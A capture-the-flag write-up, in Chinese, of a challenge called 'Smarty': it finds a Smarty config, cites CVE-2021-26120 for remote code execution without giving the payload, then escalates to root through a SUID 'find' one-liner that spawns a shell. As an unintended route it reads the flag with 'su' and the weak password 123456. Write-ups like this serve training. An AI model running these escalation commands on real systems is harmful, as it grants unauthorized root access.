Smarty
考点:
- 信息搜集
- 代码审计
- SUID提权
扫描目录,可以扫到configs
目录,访问发现,可以列目录文件,存在test.conf
文件,内容如下:
title = Welcome to Smarty!
cutoff_size = 40
[setup]
bold = true
可以确定使用了Smarty。
如果没有扫描到的,题目名已经明示你使用了Smarty了。
Google 搜索一下Smarty,可以知道这是一个php的模板框架,存在漏洞CVE-2021-26120。
详细漏洞分析见:Smarty Template Engine Multiple Sandbox Escape PHP Code Injection Vulnerabilities
利用CVE-2021-26120直接RCE,查看flag
www-data@6ca309f9bd91:/var/www/html$ ls -al /
total 92
drwxr-xr-x 1 root root 4096 Sep 19 07:54 .
drwxr-xr-x 1 root root 4096 Sep 19 07:54 ..
-rwxr-xr-x 1 root root 0 Sep 19 07:54 .dockerenv
drwxr-xr-x 1 root root 4096 Sep 3 16:26 bin
drwxr-xr-x 2 root root 4096 Jun 13 10:30 boot
drwxr-xr-x 5 root root 360 Sep 19 07:54 dev
drwxr-xr-x 1 root root 4096 Sep 19 07:54 etc
-r-------- 1 dragon_lord dragon_lord 24 Sep 8 02:16 flag
-rw-r--r-- 1 root root 66 Sep 8 03:27 hint.txt
drwxr-xr-x 1 root root 4096 Sep 8 03:27 home
drwxr-xr-x 1 root root 4096 Sep 3 16:26 lib
drwxr-xr-x 2 root root 4096 Sep 2 00:00 lib64
drwxr-xr-x 2 root root 4096 Sep 2 00:00 media
drwxr-xr-x 2 root root 4096 Sep 2 00:00 mnt
drwxr-xr-x 2 root root 4096 Sep 2 00:00 opt
dr-xr-xr-x 140 root root 0 Sep 19 07:54 proc
drwx------ 1 root root 4096 Sep 19 08:03 root
drwxr-xr-x 1 root root 4096 Sep 3 16:26 run
drwxr-xr-x 1 root root 4096 Sep 3 16:26 sbin
drwxr-xr-x 2 root root 4096 Sep 2 00:00 srv
dr-xr-xr-x 13 root root 0 Sep 19 07:50 sys
drwxrwxrwt 1 root root 4096 Sep 22 04:30 tmp
drwxr-xr-x 1 root root 4096 Sep 2 00:00 usr
drwxr-xr-x 1 root root 4096 Sep 3 16:19 var
权限为400,只有dragon_lord用户可读。
查看hint.txt
www-data@6ca309f9bd91:/$ cat hint.txt
Flag belongs to the Dragon Lord. Can you find something? Come on~
dragon_lord的home目录下存在Wait4ThrEeY3ar.sh
,切换到该用户会先运行该脚本,sleep三年。
www-data@6ca309f9bd91:/$ cat /home/dragon_lord/Wait4ThrEeY3ar.sh
#!/bin/bash
trap '' 2
echo 'Just wait 3 years, my lord'
sleep 94608000
echo 'Three years has come.'
/bin/bash
尝试提权,全局搜索suid文件,可以发现find被添加了suid。
www-data@6ca309f9bd91:/$ ls -al /usr/bin/find
-rwsr-sr-x 1 root root 315904 Feb 16 2019 /usr/bin/find
可以通过find提权(参考 find|GTFOBins)
www-data@6ca309f9bd91:/$ /usr/bin/find . -exec /bin/sh -p \; -quit
# whoami
root
提权后即可读取flag。
非预期:
由于dragon_lord的密码为全世界最弱的口令123456
,可以通过su直接执行命令,无需切换用户。
su - dragon_lord -c "cat /flag"